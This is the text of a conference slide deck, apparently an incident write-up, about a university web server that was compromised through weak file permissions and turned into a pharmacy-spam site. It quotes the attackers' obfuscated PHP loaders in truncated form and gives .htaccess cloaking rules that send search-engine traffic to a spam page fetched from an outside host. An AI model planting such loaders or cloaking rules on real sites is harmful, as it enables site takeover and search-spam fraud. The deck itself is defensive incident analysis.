SlideShare une entreprise Scribd logo
1  sur  46
Télécharger pour lire hors ligne
Anatomy	
  of	
  a	
  Web	
  Server	
  Hack	
  
(it	
  wasn’t	
  fun	
  or	
  profitable)	
  
(for	
  me)	
  
Patrick	
  Laverty	
  
Brown	
  University	
  
OWASP	
  Rhode	
  Island	
  
BSides	
  Rhode	
  Island	
  
TwiGer:	
  @ProvWebAppSec	
  
1	
  
Who	
  Am	
  I?	
  
•  Programmer/WebSec	
  guy	
  at	
  Brown	
  University	
  
•  PaulDotCom	
  Intern	
  
•  hGp://www.securitybsides.com/BSidesRI	
  
•  OWASP	
  Rhode	
  Island	
  
2	
  
What	
  Happened?	
  
•  We	
  got	
  DoS’d	
  
3	
  
What	
  Happened?	
  
•  We	
  got	
  DoS’d	
  
•  (UnintenSonally)	
  By	
  	
  
4	
  
Step	
  Back	
  -­‐	
  Timeline	
  
•  Holiday	
  weekend,	
  1	
  dept	
  site	
  down	
  
•  Reports	
  pharmaspam	
  in	
  Google	
  results	
  
5	
  
Step	
  Back	
  -­‐	
  Timeline	
  
•  Holiday	
  weekend,	
  1	
  dept	
  site	
  down	
  
•  Reports	
  pharmaspam	
  in	
  Google	
  results	
  
•  7	
  pm,	
  database	
  server	
  maxed	
  out	
  
•  Kill	
  processes,	
  they	
  come	
  back	
  
•  Renaming	
  databases,	
  sites	
  down	
  
6	
  
Step	
  Back	
  -­‐	
  Timeline	
  
•  Holiday	
  weekend,	
  1	
  dept	
  site	
  down	
  
•  Reports	
  pharmaspam	
  in	
  Google	
  results	
  
•  7	
  pm,	
  database	
  server	
  maxed	
  out	
  
•  Kill	
  processes,	
  they	
  come	
  back	
  
•  Renaming	
  databases,	
  sites	
  down	
  
•  But	
  most	
  importantly…	
  
7	
  
Step	
  Back	
  -­‐	
  Timeline	
  
8	
  
Protect	
  www.brown.edu	
  
Why	
  Did	
  It	
  Happen?	
  
•  We’re	
  a	
  University	
  
•  Open	
  and	
  easy	
  
•  Security	
  is	
  a	
  hassle	
  
9	
  
OK,	
  Really	
  Why?	
  
•  One	
  word:	
  FilePermissions	
  
10	
  
OK,	
  Really	
  Why?	
  
•  Two	
  words:	
  File	
  Permissions	
  
11	
  
OK,	
  Really	
  Why?	
  
•  Two	
  words:	
  File	
  Permissions	
  
•  >1200	
  accounts	
  
•  600	
  GB	
  of	
  files	
  
•  Hundreds	
  of	
  sites	
  
12	
  
OK,	
  Really	
  Why?	
  
•  Two	
  words:	
  File	
  Permissions	
  
•  More	
  history:	
  
– Solaris	
  Web	
  Server	
  
– 16	
  groups	
  per	
  user	
  max	
  
– Web	
  server	
  user	
  
– Thousands	
  of	
  groups	
  on	
  server	
  
– World	
  Readable	
  
13	
  
OK,	
  Really	
  Why?	
  
•  rwxrwxr-­‐x	
  
•  Security	
  Problem?	
  
14	
  
OK,	
  Really	
  Why?	
  
•  rwxrwxr-­‐x	
  
•  Security	
  Problem?	
  
•  Config	
  files	
  &	
  db	
  connecSon	
  scripts	
  
•  mysql_connect(db,user,password);	
  
•  Policy:	
  	
  No	
  sensiSve	
  info	
  
15	
  
OK,	
  Really	
  Why?	
  
•  Upgraded	
  to	
  Red	
  Hat	
  Linux	
  
•  No	
  limit	
  to	
  groups	
  
•  Put	
  server	
  in	
  every	
  group	
  
•  Removed	
  world	
  read:	
  ie.	
  rwxrwx-­‐-­‐-­‐	
  
16	
  
OK,	
  Really	
  Why?	
  
•  Everything	
  is	
  writeable!	
  
17	
  
OK,	
  Really	
  Why?	
  
•  Everything	
  is	
  writeable!	
  
•  Whoops	
  
18	
  
Discovery	
  
19	
  
Discovery	
  
<?php	
  
eval(gzinflate(base64_decode('5b1rd9u20ij8O
V2r/
wFmtUupkWVJTtLUthQ7jp04TezUl1xq56iURE
msKVElKStu6v9+ZgYXArzIstP9PO9Zb/
ZuIgKDwQAYAAPMYOb770rOLB51pk4UsRaz1h
vNevfpzz93+93HP7u/1Hv9p/
31R936et1xm48f963N778r9QI/CBH6h/
7gMaX03YEz8+OO04u9YAJZ9r7nu9FbZ2Lr2b…	
  
20	
  
Discovery	
  
21	
  
What	
  Can	
  That	
  Do?	
  
•  Add	
  New	
  Files	
  
•  Edit	
  Current	
  Files	
  
•  Find	
  Places	
  to	
  Hide	
  Files	
  
•  Change	
  Timestamps	
  
22	
  
What	
  DID	
  It	
  Do?	
  
•  Add	
  New	
  Files	
  
•  Edit	
  Current	
  Files	
  
•  Find	
  Places	
  to	
  Hide	
  Files	
  
•  Change	
  Timestamps	
  
•  Examples?	
  
23	
  
 Stupid	
  .htaccess	
  Tricks	
  I	
  
RemoveHandler	
  .html	
  .htm	
  
AddType	
  applicaSon/x-­‐hGpd-­‐php	
  .php	
  .htm	
  .html	
  
24	
  
Stupid	
  .htaccess	
  Tricks	
  II	
  
<IfModule	
  mod_rewrite.c>	
  
RewriteEngine	
  On	
  
RewriteCond	
  %{HTTP_USER_AGENT}	
  (google|yahoo)	
  [OR]	
  
RewriteCond	
  %{HTTP_REFERER}	
  (google|aol|yahoo)	
  
RewriteBase	
  /	
  
RewriteCond	
  %{THE_REQUEST}	
  /	
  
RewriteCond	
  %{REQUEST_URI}	
  !/stats.php	
  
RewriteRule	
  .+	
  stats.php	
  [L]	
  
</IfModule>	
  
25	
  
Stupid	
  .htaccess	
  Tricks	
  II	
  
<IfModule	
  mod_rewrite.c>	
  
RewriteEngine	
  On	
  
RewriteCond	
  %{HTTP_USER_AGENT}	
  (google|yahoo)	
  [OR]	
  
RewriteCond	
  %{HTTP_REFERER}	
  (google|aol|yahoo)	
  
RewriteBase	
  /	
  
RewriteCond	
  %{THE_REQUEST}	
  /	
  
RewriteCond	
  %{REQUEST_URI}	
  !/stats.php	
  
RewriteRule	
  .+	
  stats.php	
  [L]	
  
</IfModule>	
  
26	
  
Weird	
  Google	
  Results	
  
27	
  
Two	
  Views	
  
•  Browser:	
  normal	
  
•  Google,	
  Yahoo,	
  other	
  search	
  spiders?	
  
28	
  
Look	
  Familiar?	
  
<?php	
  	
  
//Packed	
  MySQL	
  query	
  core	
  	
  
$a4f12b6950e98b=str_rot13('tmhapbzcerff');
$a4f12b6950e98f=str_rot13(strrev('rqbprq_46rfno'));	
  
eval($a4f12b6950e98b($a4f12b6950e98f('eF6NVGu2k
AQ/
ZU8VCKRqgrbJZFV5YGoxQilVLitvd6qinyBILApCiHBfH13z
SAktkoL7OGOXM7uzO7H4LbHzf9259/
OndO1+85zlX38uqu8/e6…	
  
29	
  
De-­‐obfuscated	
  
max_execuSon_Sme	
  
set_Sme_limit	
  
hGp://files-­‐uploader.com/7291-­‐bred/	
  
…	
  
REMOTE_ADDR	
  
QUERY_STRING	
  
SERVER_SIGNATURE	
  
REQUEST_URI	
  
REMOTE_ADDR	
  
…	
  
allow_url_fopen	
  
curl_init	
  
viagra	
  
cialis	
  
30	
  
Uh-­‐Oh	
  
max_execuSon_Sme	
  
set_Sme_limit	
  
hGp://files-­‐uploader.com/7291-­‐bred/	
  
…	
  
REMOTE_ADDR	
  
QUERY_STRING	
  
SERVER_SIGNATURE	
  
REQUEST_URI	
  
REMOTE_ADDR	
  
…	
  
allow_url_fopen	
  
curl_init	
  
viagra	
  
cialis	
  
31	
  
Uh-­‐Oh	
  
max_execuSon_Sme	
  
set_Sme_limit	
  
hGp://files-­‐uploader.com/7291-­‐bred/	
  
…	
  
REMOTE_ADDR	
  
QUERY_STRING	
  
SERVER_SIGNATURE	
  
REQUEST_URI	
  
REMOTE_ADDR	
  
…	
  
allow_url_fopen	
  
curl_init	
  
viagra	
  
cialis	
  
32	
  
What’s	
  There?	
  
33	
  
What	
  Are	
  Those?	
  
34	
  
Why	
  the	
  DoS?	
  
max_execuSon_Sme	
  
set_Sme_limit	
  
hGp://files-­‐uploader.com/7291-­‐bred/	
  
…	
  
REMOTE_ADDR	
  
QUERY_STRING	
  
SERVER_SIGNATURE	
  
REQUEST_URI	
  
REMOTE_ADDR	
  
…	
  
allow_url_fopen	
  
curl_init	
  
viagra	
  
cialis	
  
35	
  
Why	
  the	
  DoS?	
  What	
  Happens?	
  
•  Google	
  as	
  Referrer	
  -­‐>	
  hit	
  page	
  in	
  .htaccess	
  
•  Page	
  pulls	
  in	
  code	
  from	
  files-­‐uploader.com	
  
•  Shows	
  page	
  selling	
  Viagra	
  
•  Brown	
  University	
  =	
  Online	
  Pharmacy	
  
•  Plus,	
  high	
  Google	
  ranking	
  	
  
36	
  
How	
  Do	
  You	
  Find	
  It?	
  
37	
  
How’d	
  We	
  Fix	
  It?	
  
Immediate	
  Steps	
  
– Deleted	
  the	
  current	
  offending	
  uploader	
  script	
  &	
  
redirecSng	
  .htaccess	
  files	
  
– Traffic	
  dropped	
  off	
  immediately	
  
38	
  
How’d	
  We	
  Fix	
  It?	
  
Ongoing	
  Steps	
  
– Remove	
  all	
  shell	
  files	
  
– Remove	
  all	
  uploader	
  files	
  
– Find	
  and	
  fix	
  the	
  .htaccess	
  files	
  
– Remove	
  the	
  web	
  server	
  user	
  as	
  much	
  as	
  possible	
  
– Weakened	
  the	
  shell	
  files	
  
– Set	
  up	
  shell	
  file	
  password	
  search	
  in	
  logs	
  
– Monthly	
  meeSngs	
  to	
  review	
  
39	
  
How	
  Else	
  is	
  it	
  Being	
  Fixed?	
  
•  One	
  Word…	
  
•  FilePermissions!	
  
40	
  
How	
  Else	
  is	
  it	
  Being	
  Fixed?	
  
•  One	
  Word…	
  
•  FilePermissions!	
  
•  Three	
  OpSons	
  for	
  Site	
  Owners	
  
41	
  
OpSon	
  1	
  
•  One	
  web	
  editor?	
  
•  rwxr-­‐x-­‐-­‐-­‐	
  
•  Web	
  server	
  user	
  in	
  the	
  group	
  
42	
  
OpSon	
  2	
  
•  MulSple	
  web	
  editors	
  
•  rwxrwxr-­‐x	
  
•  Web	
  server	
  user	
  NOT	
  in	
  the	
  group	
  
•  Back	
  to	
  original	
  security	
  problem	
  
43	
  
OpSon	
  3	
  	
  
•  Virtual	
  Machine	
  
•  Do	
  whatever	
  you	
  want!	
  
44	
  
BoGom	
  Line	
  
•  Keep	
  file	
  permissions	
  Sght	
  
•  Keep	
  so‚ware	
  current	
  
•  Keep	
  users	
  off	
  server	
  
45	
  
QuesSons?	
  
Contact	
  Info:	
  
Patrick	
  Laverty	
  
Brown	
  University	
  
Patrick@brown.edu	
  
@provwebappsec	
  or	
  @BSidesRI	
  
46	
  

Contenu connexe

Tendances

Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOUMichael Gough
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCONMichael Gough
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01Michael Gough
 
Malware Management - HouSecCon 2014
Malware Management - HouSecCon 2014Malware Management - HouSecCon 2014
Malware Management - HouSecCon 2014Michael Gough
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSMichael Gough
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Michael Gough
 
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1Michael Gough
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Michael Gough
 
Building RESTful APIs
Building RESTful APIsBuilding RESTful APIs
Building RESTful APIsSilota Inc.
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestSecuRing
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1Michael Gough
 
Logging for Hackers v1.0
Logging for Hackers v1.0Logging for Hackers v1.0
Logging for Hackers v1.0Michael Gough
 
Integrating RSS Into Your Web Site - CIL2008
Integrating RSS Into Your Web Site - CIL2008Integrating RSS Into Your Web Site - CIL2008
Integrating RSS Into Your Web Site - CIL2008Michael Sauers
 
Log files: The Overlooked Source of SEO Opportunities
Log files: The Overlooked Source of SEO OpportunitiesLog files: The Overlooked Source of SEO Opportunities
Log files: The Overlooked Source of SEO OpportunitiesRobin Rozhon
 
The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0Michael Gough
 
Sandbox vs manual analysis v2.1
Sandbox vs manual analysis v2.1Sandbox vs manual analysis v2.1
Sandbox vs manual analysis v2.1Michael Gough
 

Tendances (18)

Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOU
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCON
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
 
I See You
I See YouI See You
I See You
 
Malware Management - HouSecCon 2014
Malware Management - HouSecCon 2014Malware Management - HouSecCon 2014
Malware Management - HouSecCon 2014
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoS
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0
 
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1
BSidesOK_You_CAN_detect_PowerShell_attacks_v1.1
 
Faraday Blackhat 2011 Arsenal
Faraday Blackhat 2011 ArsenalFaraday Blackhat 2011 Arsenal
Faraday Blackhat 2011 Arsenal
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1
 
Building RESTful APIs
Building RESTful APIsBuilding RESTful APIs
Building RESTful APIs
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forest
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1
 
Logging for Hackers v1.0
Logging for Hackers v1.0Logging for Hackers v1.0
Logging for Hackers v1.0
 
Integrating RSS Into Your Web Site - CIL2008
Integrating RSS Into Your Web Site - CIL2008Integrating RSS Into Your Web Site - CIL2008
Integrating RSS Into Your Web Site - CIL2008
 
Log files: The Overlooked Source of SEO Opportunities
Log files: The Overlooked Source of SEO OpportunitiesLog files: The Overlooked Source of SEO Opportunities
Log files: The Overlooked Source of SEO Opportunities
 
The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0
 
Sandbox vs manual analysis v2.1
Sandbox vs manual analysis v2.1Sandbox vs manual analysis v2.1
Sandbox vs manual analysis v2.1
 

Similaire à Anatomy of a Web Server Hack and Pharma Spam Attack

MySQL Infrastructure Testing Automation at GitHub
MySQL Infrastructure Testing Automation at GitHubMySQL Infrastructure Testing Automation at GitHub
MySQL Infrastructure Testing Automation at GitHubIke Walker
 
BTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesBTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesJonathan Klein
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHPJonathan Klein
 
Faster Faster Faster! Datamarts with Hive at Yahoo
Faster Faster Faster! Datamarts with Hive at YahooFaster Faster Faster! Datamarts with Hive at Yahoo
Faster Faster Faster! Datamarts with Hive at YahooMithun Radhakrishnan
 
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on Hive
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on HiveFaster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on Hive
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on HiveDataWorks Summit/Hadoop Summit
 
Lessons learned while building Omroep.nl
Lessons learned while building Omroep.nlLessons learned while building Omroep.nl
Lessons learned while building Omroep.nlbartzon
 
Lessons learned while building Omroep.nl
Lessons learned while building Omroep.nlLessons learned while building Omroep.nl
Lessons learned while building Omroep.nltieleman
 
Performance Scenario: Diagnosing and resolving sudden slow down on two node RAC
Performance Scenario: Diagnosing and resolving sudden slow down on two node RACPerformance Scenario: Diagnosing and resolving sudden slow down on two node RAC
Performance Scenario: Diagnosing and resolving sudden slow down on two node RACKristofferson A
 
Cvcc performance tuning
Cvcc performance tuningCvcc performance tuning
Cvcc performance tuningJohn McCaffrey
 
Hadoop Robot from eBay at China Hadoop Summit 2015
Hadoop Robot from eBay at China Hadoop Summit 2015Hadoop Robot from eBay at China Hadoop Summit 2015
Hadoop Robot from eBay at China Hadoop Summit 2015polo li
 
Google-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malwareGoogle-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malwareAvast
 
TXLF: Chef- Software Defined Infrastructure Today & Tomorrow
TXLF: Chef- Software Defined Infrastructure Today & TomorrowTXLF: Chef- Software Defined Infrastructure Today & Tomorrow
TXLF: Chef- Software Defined Infrastructure Today & TomorrowMatt Ray
 
Behavior Driven Development and Automation Testing Using Cucumber
Behavior Driven Development and Automation Testing Using CucumberBehavior Driven Development and Automation Testing Using Cucumber
Behavior Driven Development and Automation Testing Using CucumberKMS Technology
 
EscConf - Deep Dive Frontend Optimization
EscConf - Deep Dive Frontend OptimizationEscConf - Deep Dive Frontend Optimization
EscConf - Deep Dive Frontend OptimizationJonathan Klein
 
Chirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterChirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterJohn Adams
 
api analytics redis bigquery. Lrug
api analytics redis bigquery. Lrugapi analytics redis bigquery. Lrug
api analytics redis bigquery. Lrugjavier ramirez
 
Drupal commerce performance profiling and tunning using loadstorm experiments...
Drupal commerce performance profiling and tunning using loadstorm experiments...Drupal commerce performance profiling and tunning using loadstorm experiments...
Drupal commerce performance profiling and tunning using loadstorm experiments...Andy Kucharski
 
Page Performance
Page PerformancePage Performance
Page Performanceatorreno
 

Similaire à Anatomy of a Web Server Hack and Pharma Spam Attack (20)

MySQL Infrastructure Testing Automation at GitHub
MySQL Infrastructure Testing Automation at GitHubMySQL Infrastructure Testing Automation at GitHub
MySQL Infrastructure Testing Automation at GitHub
 
BTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesBTV PHP - Building Fast Websites
BTV PHP - Building Fast Websites
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
Faster Faster Faster! Datamarts with Hive at Yahoo
Faster Faster Faster! Datamarts with Hive at YahooFaster Faster Faster! Datamarts with Hive at Yahoo
Faster Faster Faster! Datamarts with Hive at Yahoo
 
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on Hive
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on HiveFaster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on Hive
Faster, Faster, Faster: The True Story of a Mobile Analytics Data Mart on Hive
 
Lessons learned while building Omroep.nl
Lessons learned while building Omroep.nlLessons learned while building Omroep.nl
Lessons learned while building Omroep.nl
 
Lessons learned while building Omroep.nl
Lessons learned while building Omroep.nlLessons learned while building Omroep.nl
Lessons learned while building Omroep.nl
 
Apache Spark v3.0.0
Apache Spark v3.0.0Apache Spark v3.0.0
Apache Spark v3.0.0
 
Performance Scenario: Diagnosing and resolving sudden slow down on two node RAC
Performance Scenario: Diagnosing and resolving sudden slow down on two node RACPerformance Scenario: Diagnosing and resolving sudden slow down on two node RAC
Performance Scenario: Diagnosing and resolving sudden slow down on two node RAC
 
Cvcc performance tuning
Cvcc performance tuningCvcc performance tuning
Cvcc performance tuning
 
Hadoop Robot from eBay at China Hadoop Summit 2015
Hadoop Robot from eBay at China Hadoop Summit 2015Hadoop Robot from eBay at China Hadoop Summit 2015
Hadoop Robot from eBay at China Hadoop Summit 2015
 
Google-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malwareGoogle-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malware
 
TXLF: Chef- Software Defined Infrastructure Today & Tomorrow
TXLF: Chef- Software Defined Infrastructure Today & TomorrowTXLF: Chef- Software Defined Infrastructure Today & Tomorrow
TXLF: Chef- Software Defined Infrastructure Today & Tomorrow
 
Behavior Driven Development and Automation Testing Using Cucumber
Behavior Driven Development and Automation Testing Using CucumberBehavior Driven Development and Automation Testing Using Cucumber
Behavior Driven Development and Automation Testing Using Cucumber
 
EscConf - Deep Dive Frontend Optimization
EscConf - Deep Dive Frontend OptimizationEscConf - Deep Dive Frontend Optimization
EscConf - Deep Dive Frontend Optimization
 
Chirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterChirp 2010: Scaling Twitter
Chirp 2010: Scaling Twitter
 
api analytics redis bigquery. Lrug
api analytics redis bigquery. Lrugapi analytics redis bigquery. Lrug
api analytics redis bigquery. Lrug
 
Drupal commerce performance profiling and tunning using loadstorm experiments...
Drupal commerce performance profiling and tunning using loadstorm experiments...Drupal commerce performance profiling and tunning using loadstorm experiments...
Drupal commerce performance profiling and tunning using loadstorm experiments...
 
Page Performance
Page PerformancePage Performance
Page Performance
 
Achieving 100k Queries per Hour on Hive on Tez
Achieving 100k Queries per Hour on Hive on TezAchieving 100k Queries per Hour on Hive on Tez
Achieving 100k Queries per Hour on Hive on Tez
 

Dernier

Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 

Dernier (20)

Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
